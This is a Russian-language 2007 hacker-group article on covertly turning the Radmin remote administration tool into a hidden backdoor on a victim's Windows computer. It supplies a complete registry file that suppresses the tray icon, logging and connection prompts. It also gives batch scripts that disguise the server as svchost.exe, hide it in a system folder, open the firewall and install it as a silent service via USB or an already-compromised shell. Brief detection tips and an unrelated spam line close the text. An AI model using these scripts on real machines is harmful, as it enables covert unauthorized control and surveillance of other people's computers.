======================================================================
# #
# Author: x4matted // k0dsweb gr0up #
# Статья является собственностью команды KODSWEB #
# Любое распространение без нашего ведома строго запрещено. #
# -= 28.07.2007 =- #
# #
======================================================================
# #
# Remote Administrator как потенциально опасное приложение #
# #
======================================================================
В данной статье речь пойдет о нестандартном использовании программы
для удаленного администрирования Remote Administrator (далее RAdmin).
Эта программа создана для контроля администраторами компьютеров с ОС
Windows, однако в ней есть все,чтобы использовать ее в наших корыстных
целях. Целью является полный удаленный контроль над системой, при том
что жертва даже не будет знать об этом. Для тех, кто не знает, RAdmin
позволяет управлять удаленным рабочим столом, или же просто
просматривать, что на нем творится, дает доступ ко всем файлам системы
и командную строку (есть еще дополнительные функции, как то голосовой
или текстовый чат и т.д., но они нас не интересуют). Все способы,
описанные в этой статье тестировались на RAdmin'e версии 2.1 и windows
Whistler (aka XP).
Итак, нам понадобятся:
- сам RAdmin (серверная и клиентская части). Его можно скачать у нас
на сайте в разделе Programs => Remote Administration Tools;
- доступ к компьютеру жертвы. Тут возможны разные варианты -
кратковременный физический, удаленный в виде командной строки и т.д.
Для начала нам потребуется сконфигурировать сервер.Для этого нам нужны
сам сервер r_server.exe, и 2 библиотеки AdmDll.dll и raddrv.dll. Эти
файлы можно взять из директории уже установленного на компьютер
RAdmin'а,после чего благополучно удалить Radmin'a со своего компьютера
"от греха" и переустановить, но только viewer.Переименуем r_server.exe
в svchost.exe (допускается в принципе любое название) и,если умеем, то
меняем иконку на какую-нибудь системную. Далее создаем файл реестра
install.reg со следующим содержимым:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b
"DisableTrayIcon"=hex:01,00,00,00
"Port"=hex:69,7a,00,00
"EnableLogFile"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
"FilterIp"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
Как вы уже поняли, данный файл создает новую ветку реестра с
настройками RAdmin'a. Поясню каждый параметр:
NTAuthEnabled - если второй байт - 1, то при подключении клиента
используется технология NT авторизации. В противном
случае, происходит простая аутентификация по паролю,
что нам и нужно, поэтому оставляем ноль;
Parameter - пароль, который будет запрашиваться при соединении с
сервером;
DisableTrayIcon - если везде нули, то иконка в трее отображается. Если
второй байт - 1, то соответственно не отображается.
Оставляем ноль;
Port - порт, на котором сервер будет ждать соединения;
EnableLogFile - если везде нули, то RAdmin не ведет логи. Если же
01,00,00,00, то сервер ведет лог в файле,указанном в
параметре LogFilePath.Нам лишние следы ни к чему,так
что оставляем отключенным;
EnableEventLog - если второй байт - 1, то действия RAdmin'a
фиксируются в журнале windows и наоборот с нулевым
вторым байтом. Отключаем;
FilterIp - если второй байт - 1, то разрешает соединения только
с ip адресов, указанных в ветке
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist
реестра.Иначе не фильтрует входящие соединения по ip
адресу;
AskUser - если второй байт - 1, то выдает окно с запросом
принять/отклонить входящее соединение на системе, на
которой запущен сервер. Чтобы не отвлекать жертву от
важных дел, также оставляем ноль.
Рассмотрю подробнее параметры пароля и порта.Пароль шифруется BlowFish
алгоритмом шифрования с длиной ключа 128 бит и может быть не менее 8
символов при настройке сервера через gui интерфейс. Однако это
ограничение не действует, когда мы настраиваем сервер через командную
строку. Портом по умолчанию является 4899 и выглядит как 23,13,00,00.
Порт может быть не более 65535 - это уже ограничение стандартов TCP.
Для того, чтобы использовать свои пароль и порт пишем несложный bat
файл с содержимым:
svchost.exe /save /silence /pass:123456 /port:31337
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server" passport.reg
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
... и смело запускаем у себя на компьютере из директории с сервером
RAdmin'a (переименованного в svchost.exe) и двумя необходимыми
библиотеками, о чем выше. Этим файлом мы сохраняем с помощью сервера
пароль 123456 и порт 31337 в реестр без выдачи ненужных подтверждающих
окон, экспортируем зашифрованные пароль и порт из реестра в файл
passport.reg и удаляем всю ветку в реестре.
Далее открываем файл passport.reg блокнотом и заменяем значения
Parameter (пароль) и Port в конфигурационном файле install.reg на
только что полученные.
Теперь рассмотрим ситуацию,когда вам нужно разрешать соединения только
с определенных ip адресов. Это полезно, когда мы не хотим пускать на
сервер никого, кроме себя. Для того, чтобы включить эту функцию, нужно
изменить значение параметра "FilterIp" на 01,00,00,00. Зашифрованные
допустимые адреса хранятся в ветке
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist реестра. Т.к.
консольной команды для сохранения ip адресов не предусмотрено, то
созданием bat файла здесь не обойтись.Придется запустить сервер у себя
на компьютере с параметром /setup и добавить в окне настроек
необходимые ip адреса. После нажатия кнопки OK, в реестре появятся
параметры 0,1,2...n(в зависимости от количества указанных ip адресов),
значениями которых будут являться ip адреса.Экспортируем эти параметры
консольной командной
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist" i.reg
соответственно в файл i.reg. Открываем его в блокноте и вставляем
параметры в раздел HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist
нашего конфигурационного файла install.reg. Затем удаляем параметры со
своего компьютера уже встречавшейся выше командой
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
В значении параметра ip адресом являются предпоследние 8 байт,а маской
подсети - последние 8.
На этом конфигурирование можно считать завершенным. Переходим к
установке и запуску сервера.
Вариант 1. Физический доступ.
Предположим, у вас имеется возможность получить физический доступ к
компьютеру жертвы (пускай даже и минутный - этого достаточно). Самый
оптимальный способ - залить на флешку сервер (r_server.exe,
переименованный в svchost.exe), 2 библиотеки (см. выше),
сконфигурированный нами файл реестра install.reg и bat файл для
упрощения и ускорения наших действий со следующим содержимым:
@echo off
netsh firewall add allowedprogram "%Windir%\Help\Tour\svchost.exe"
"Generic Host Process for Win32 Services" ENABLE
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" RA_default_backup.reg
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
reg import install.reg
mkdir %Windir%\Help\Tour
copy AdmDll.dll %Windir%\Help\Tour
copy raddrv.dll %Windir%\Help\Tour
copy svchost.exe %Windir%\Help\Tour
%Windir%\Help\Tour\svchost.exe /install /silence
%Windir%\Help\Tour\svchost.exe /start
Что же здесь происходит...
Создаем разрешающее правило стандартного windows брендмауера для
сервера, бекапим текущие настройки RAdmin'a на флешку (если он уже
установлен до нас. Мало ли, пригодятся), с последующим удалением из
реестра, импортируем наши настройки в реестр, создаем директорию
Help\Tour в системной директории windows и кидаем туда сервер и
библиотеки, устанавливаем сервер в качестве службы с отключенным
выводом сообщений на экран и запускаем сервер. По желанию можно
опустить бекап текущих настроек RAdmin'a,изменить директорию установки
и название правила брендмауера.
Таким образом, ваши действия на компьютере жертвы - вставить флешку,
запустить bat файл,вытащить флешку. По сути,больше времени у вас уйдет
на первое и последнее действия.
Вариант 2. Удаленный доступ.
Если вы уже получили удаленную консоль с помощью, к примеру,каких-либо
уязвимостей, то вам нужно предварительно создать bat файл у себя на
компьютере, чтобы не утруждать себя вводом команд. Содержимое его
следующее:
netsh firewall add allowedprogram "%Windir%\Help\Tour\svchost.exe"
"Generic Host Process for Win32 Services" ENABLE
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" RA_default_backup.reg
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
reg import install.reg
svchost.exe /install /silence
svchost.exe /start
Создаем на удаленной системе директорию %Windir%\Help\Tour, заливаем
туда с помощью фтп bat файл, сервер, файл реестра и библиотеки и
запускаем батник.
Т.к. сервер устанавливается в качестве службы, то запускаться он будет
автоматически с началом работы windows.
Следует отметить, что фаерволы все-таки будут видеть активность
RAdmin'a, так что если вы устанавливаете его физическим путем, то
следует сразу разрешить ему творить все что угодно. Также, антивирус
Eset NOD32 распознает сервер и библиотеки RAdmin'a как "потенциально
опасное приложение".И хоть поиск таких приложений в NOD'e по умолчанию
отключен, стоит убедиться, что он не спалит RAdmin'a в самый
ответственный момент.
Теперь приведу пример bat файла, удаляющего RAdmin'a из системы, на
случай, если вы решите протестировать его у себя на компьютере, или
проникнитесь жалостью к жертве ;) :
taskkill /F /FI "SERVICES eq r_server"
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
%Windir%\Help\Tour\svchost.exe /uninstall /silence
netsh firewall delete allowedprogram "%Windir%\Help\Tour\svchost.exe"
rmdir %Windir%\Help\Tour /S /Q
Здесь мы сначала принудительно убиваем сервер,какое бы название у него
ни было (название сервиса всегда будет r_server), затем опять же
принудительно удаляем ветку реестра RAdmin'a,удаляем службу без вывода
сообщений о подтверждении, удаляем правило брендмауера и директорию
%Windir%\Help\Tour со всеми содержащимися в ней файлами без
подтверждения.
В завершение хочу рассказать о нескольких методах узнать о
существовании сервера RAdmin'a у вас на системе, установленного
вышеописанными способами.
- узнать о наличии выполняющегося процесса сервера можно с помощью
программы Sysinternals Process Explorer.RAdmin выдаст себя названием
службы "Remote Administrator Service" в описании процесса,независимо
от названия исполняемого файла;
- узнать о наличии службы можно в стандартном списке служб windows.Для
этого жмем Win+R => services.msc и ищем службу "Remote Administrator
Service";
- узнать о наличии данных RAdmin'a в реестре можно нажав Win+R =>
regedit и найдя ветку HKEY_LOCAL_MACHINE\SYSTEM\RAdmin .
Также, если кто не знает, то файла svchost.exe в системе должно быть
только 2 (в %Windir%\system32 и %Windir%\system32\dllcache) - это на
случай, если RAdmin был переименован именно в него (кстати многие
вирусы,черви и трояны прячутся именно под таким именем),хотя его можно
переименовать как угодно.
На этом все, спасибо за внимание!
смесители для ванной латунь